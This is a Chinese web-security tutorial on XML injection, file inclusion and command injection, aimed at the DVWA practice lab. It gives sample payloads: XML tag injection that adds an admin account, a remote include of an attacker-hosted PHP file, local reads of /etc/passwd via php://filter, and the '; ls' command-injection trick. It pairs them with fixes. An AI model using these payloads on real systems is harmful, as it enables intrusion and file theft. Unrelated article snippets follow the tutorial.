Web安全测试(四):XML注入和代码注入

一、前言

结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬!
全部文章请访问专栏:《全栈安全测试教程(0基础)》

通过本章节,我们会学到:

  1. XML注入概念
  2. 了解什么是XML注入漏洞
  3. 了解XML注入漏洞产生的原因
  4. XML注入漏洞检测与防护
  5. 掌握XML注入漏洞的利用方式
  6. 掌握如何修复XML注入漏洞
  7. 代码注入概念
  8. 代码注入的类型及防御

文章目录

    • 一、前言
    • 二、XML注入漏洞
      • 1)什么是XML注入
      • 2)XML注入产生的原因
      • 3)XML注入漏洞例子
      • 4)如何防御XML注入
    • 三、代码注入漏洞
      • 1)远程文件包含漏洞
      • 2)本地文件包含漏洞
      • 3)命令执行漏洞


二、XML注入漏洞

1)什么是XML注入

XML injection,XML注入漏洞。XML注入类似于SQL注入,XML文件一般用作存储数据及配置,如果在修改或新增数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致XML注入漏洞。

2)XML注入产生的原因

XML注入产生的原因与SQL注入差不多:

  1. 传输的数据包含了标签内容。
  2. 修改数据时会覆盖原有的标签

3)XML注入漏洞例子

服务器是生成XML来存储用户数据:

<?xml version="1.0" encoding="UTF-8"?><USER role="guest"><name>user</name> <passwd>123</passwd></USER> <USER role="admin"><name>admin</name> <passwd>1adtyr32e762t7te3</passwd> </USER> 

guest用户申请改密码,会更改123。
要是用户提交的不是简单的字母组合,而是如下信息:

12345</passwd></USER>
<USER role="admin">
<name>admin</name>
<passwd>123456</passwd>
</USER>

这样,配置文件会变成:

<?xml version="1.0" encoding="UTF-8"?><USER rule="guest"> <name>user</name><passwd>12345</passwd></USER> <USER rule="admin"> <name>admin</name> <passwd>123456</passwd></USER><!---</passwd> </USER><USER role="admin"> <name>admin</name><passwd>1adtyr32e762t7te3</passwd>
</USER> 

4)如何防御XML注入

对用户输入进行检查
对特殊字符进行转码

  1. & --> &
  2. < --> <
  3. –> >

  4. " --> "
    1. ’ --> ’

三、代码注入漏洞

代码注入包含:

  1. 远程文件包含漏洞
  2. 本地文件包含漏洞
  3. 命令执行漏洞

1)远程文件包含漏洞

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
PHP常见的导致文件包含的函数如下:

include()
include_once()
require()
require_once()
fopen()
readfile()

远程文件包含漏洞风险

  1. 攻击者可利用代码注入漏洞执行任意代码,来操作服务器
  2. 攻击者可利用代码注入漏洞操作数据库,插入恶意数据,可能获取系统权限
  3. 攻击者可利用代码注入攻击修改系统配置,修改网络配置,可能对服务器及网络造成影响
  4. 代码注入攻击后可以进一步对网络渗透,由于代码注入攻击多半可获取系统权限,对网络的进一步渗透难度大大降低

如何利用远程文件包含漏洞

DVWA为例:

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=file1.php

上面链接中,我们可以传递一个文件名,PHP会根据文件名进行导入操作
我们可以指定我们自己编写的地址:http://site1.com/a.php
这里会输出phpinfo()内容。

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=http://site1.com/a.php

要是a.php中写入木马,可以控制对方机器

远程文件包含漏洞代码审计方法

查看是否有如下代码:

include(), include_once()
require(), require_once()
fopen()
readfile()

如何修复远程文件包含漏洞

不需要执行远程代码时,可以修改php.ini配置:

allow_url_fopen = Off
allow_url_include = Off

不要直接导入用户输入的内容
执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”等参数,代表相应代码。

2)本地文件包含漏洞

与远程文件包含漏洞类似,可以读取任意的本地文件
可以通过远程文件包含漏洞来生成本地文件包含漏洞的代码来利用
本地文件包含漏洞可以包含本地文件,在条件允许时甚至能执行代码
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件

本地文件包含漏洞所用到的函数
与远程文件包含漏洞所用到的函数相同:

include(), include_once()
require(), require_once()
fopen()
readfile()

本地文件包含漏洞利用方式
漏洞危害:

  1. 执行任意代码
  2. 包含恶意文件控制网站
  3. 甚至控制服务器

上传带有PHP代码的图片

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=../../../a.jpg

读取PHP文件

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../a.php

读取系统敏感文件

http://mydvwa.com/dvwa/vulnerabilities/fi/?page=/etc/passwd

如何修复本地文件包含漏洞
不要直接导入用户输入的内容(与远程文件包含漏洞相同)
执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”等参数,代表相应代码。

3)命令执行漏洞

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

命令注入漏洞对系统安全产生的危害

继承Web服务程序的权限去执行系统命令或读 - 写文件:运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限

反弹shell:通过特定方式进行反弹shell攻击

控制整个网站甚至控制服务器:根据权限,可能服务器整体被沦陷

进一步内网渗透:把当前控制的机器当作跳板来控制其它内网机器

命令注入漏洞例子

页面:

http://mydvwa.com/dvwa/vulnerabilities/exec/

正常参数:
0.0.0.0(或其它IP)
修改后的参数:
0.0.0.0; ls
会输出当前目录的列表

第三方组件存在的代码执行漏洞
Struts2漏洞(s2-16)
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。

命令注入漏洞的修复方法

尽量不要执行外部命令
尽量使用脚本解决工作,少用执行命令函数
使用自定义函数或函数库来替代外部命令的功能
程序参数的情况,escapshellcmd过滤
程序参数值的情况,escapeshellarg过滤
参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义
使用safe_mode_exec_dir指定可执行文件的路径

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/57796.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最简单的爬虫!只需要粘贴你要爬虫的网址

依赖 必须按照这个库&#xff0c;爬虫必备&#xff01; pip install requests四行代码 import get import save spider_text get.html("https://www.baidu.com/") save.file(spider_text)使用 更改 get.html() 中的参数&#xff0c;改成你想要爬取的网站的地址&…

【微信小程序】小程序隐私保护指引设置

首先了解官方提供demo&#xff1a; demo1: 演示使用 wx.getPrivacySetting 和 <button open-type"agreePrivacyAuthorization"> 在首页处理隐私弹窗逻辑 https://developers.weixin.qq.com/s/gi71sGm67hK0 demo2: 演示使用 wx.onNeedPrivacyAuthorization 和…

AutoRunner自动化测试工具新版本智能识别算法之视觉识别

泽众AutoRunner&#xff08;简称AR&#xff09;是国内专业的支持C/S、B/S各种技术框架的、基于组件识别的自动化测试工具&#xff0c;实现7*24小时的自动化回归测试和功能测试&#xff0c;让测试更智能。 视觉识别是一种通过计算机技术对图像或视频进行分析和理解的方法。这种算…

Git命令简单使用

1、上传仓库到 git 上传仓库到 git 上之前需要配置用户名和邮箱 git config --global user.name "user_name" git config --global user.email "email_id"在本地仓库中使用名称初始化 git init使用下面的命令将文件添加到仓库 # 添加一个或多个文件到暂…

AMEYA360:大唐恩智浦电池管理芯片DNB1168-新能源汽车BMS系统的选择

DNB1168是一款全球独有的集成&#xff08;EIS&#xff09;交流阻抗谱监测功能的单电池监测芯片。该芯片通过车规级AEC-Q100和汽车行业最高功能安全等级ISO 26262&#xff1a;2018 ASIL-D双重认证。芯片?内部集成多种高精度电池参数监测&#xff0c;支持电压、温度、交流阻抗检…

机器学习---决策树算法(CLS、ID3、CART)

1. 决策树 决策树&#xff08;Decision Tree&#xff09;又称为判定树&#xff0c;是运用于分类的一种树结构。其中的每个内部结点 &#xff08;internal node&#xff09;代表对某个属性的一次测试&#xff0c;每条边代表一个测试结果&#xff0c;叶结点&#xff08;leaf&am…

Android 基于反射实现简易版ButterKnife

文章目录 Android 基于反射实现简易版ButterKnife定义注解定义绑定类解析注解使用代码下载 Android 基于反射实现简易版ButterKnife 反射比较消耗资源&#xff0c;一般不推荐使用。 定义注解 /*** 用于绑定元素*/ Retention(RetentionPolicy.RUNTIME) Target(ElementType.FI…

JVM核心原理解读(一)---执行引擎

Java虚拟机规范制定了Java字节码执行引擎的概念模型,Java执行引擎作用概括起来就是执行编译产生的Java class文件,为用户提供了底层OS的调用,屏蔽了不同平台硬件和OS的差异性,使得编写的代码无差别的在各个平台运行;对于Java字节码执行一般有解释执行和编译执行两种,具体使用哪…

Git git fetch 和 git pull 区别

git pull和git fetch的作用都是用于从远程仓库获取最新代码&#xff0c;但它们之间有一些区别。 git pull会自动执行两个操作&#xff1a;git fetch和git merge。它从远程仓库获取最新代码&#xff0c;并将其合并到当前分支中。 示例&#xff1a;运行git pull origin master会从…

学乐多光屏P90:智能引领儿童学习新时代

随着科技的迅猛发展&#xff0c;儿童教育正逐渐迈入数字化时代。在这个变革的浪潮中&#xff0c;学乐多光屏P90以其卓越的功能和深刻的教育理念&#xff0c;成为了智能儿童学习领域的引领者&#xff0c;为孩子们开启了全新的学习体验。 融合创新技术&#xff0c;引领学习变革 …

GD32-舵机的原理

GD32-舵机的原理 舵机的现一脉宽与舵机转动角度 旋转编码器的原理 顺时针&#xff1a;A的下降沿时&#xff0c;B处于高电平&#xff1b; 逆时针&#xff1a;A的下降沿时&#xff0c;B处于低电平&#xff1b; #ifndef _ENCODER_DRIVE_H #define _ENCODER_DRIVE_H#include &quo…

2023高教社杯数学建模思路 - 复盘:校园消费行为分析

文章目录 0 赛题思路1 赛题背景2 分析目标3 数据说明4 数据预处理5 数据分析5.1 食堂就餐行为分析5.2 学生消费行为分析 建模资料 0 赛题思路 &#xff08;赛题出来以后第一时间在CSDN分享&#xff09; https://blog.csdn.net/dc_sinor?typeblog 1 赛题背景 校园一卡通是集…

JavaScript—对象与构造方法

目录 json对象&#xff08;字面值&#xff09; js中对象是什么&#xff1f; 如何使用&#xff1f; 关联数组 js对象和C#对象有什么区别&#xff1f; 构造函数 什么是构造方法&#xff1f; 如何使用构造方法&#xff1f; 如何添加成员&#xff1f; 对象的动态成员 正则…

Python|爬虫和测试|selenium框架的安装和初步使用(一)

前言&#xff1a; Python作为一门胶水语言来说&#xff0c;可以说是十分的优秀&#xff0c;什么事情都可以干&#xff0c;并且在某些领域还能干的非常不错&#xff0c;尤其是在爬虫和测试领域&#xff0c;该语言可以说是没有对手。 这么说的原因是因为如果你要使用爬虫爬取某…

汽车自适应巡航系统车距控制策略研究

1 引言 自适应巡航控制( Adaptive Cruise Control&#xff0c;ACC) 是汽车驾驶辅助系统的重要组成部分&#xff0c;其作用是根据车距传感器探测到本车( ACC 车辆) 与主目标车辆( 前车) 之间的相对位置和相对速度信息&#xff0c;自动调节ACC 车辆的节气门开度或部分制动力矩( 即…

c++ 通讯录管理系统 黑马教程 (02)

个人笔记&#xff0c;这个是自己写的&#xff0c;未观看黑马教程&#xff0c;所以差异会比较大。 #include "iostream" #include<conio.h> using namespace std; /*** 通讯录管理系统* 功能* 1.添加联系人* 2.显示联系人* 3.删除联系人* …

Oracle的lag、lead函数使用

Oracle的lag、lead函数使用 一、LAG函数&#xff08;当前行之前&#xff09;二、LEAD函数&#xff08;当前行之后&#xff09; Oracle数据库中的LAG和LEAD函数可以用于查询行与前/后行之间的差异。 一、LAG函数&#xff08;当前行之前&#xff09; LAG函数返回分析窗口内的当前…

微信小程序社区户口管理的系统设计与实现

摘要 我国的户口管理制度由来已久&#xff0c;我国对于合法居民在新生儿的出生、户口的落地、迁移以及户口的注销上都有着详细的管理条例进行约束。通过户口的管理可以更好地对我国的居民人数进行有效的内容统计&#xff0c;在进行人口普查的过程中也能够实现更好的、更加精准的…

探索数据湖中的巨兽:Apache Hive分布式SQL计算平台浅度剖析!

文章目录 ◆ Apache Hive 概述1.1 分布式SQL计算1.2 Hive的优势 ◆ 模拟实现Hive功能2.1 元数据管理2.2 解析器2.3 基础架构2.4 Hive架构 ◆ Hive基础架构3.1 Hive架构图3.2 Hive组件3.2.1 元数据存储3.2.2 Driver驱动程序3.2.3 用户接口 ◆ Hive部署4.1 VMware虚拟机部署步骤一…

【学习笔记】求解线性方程组的G-S迭代法

求解线性方程组的G-S迭代法 // 运行不成功啊function [x,k,index] Gau_Seid(A,b,ep,it_max) % 求解线性方程组的G-S迭代法&#xff0c;其中 % A为方程组的系数矩阵 % b为方程组的右端项 % ep为精度要求&#xff0c;省缺为1e-5 % it_max为最大迭代次数&#xff0c;省缺为100 % …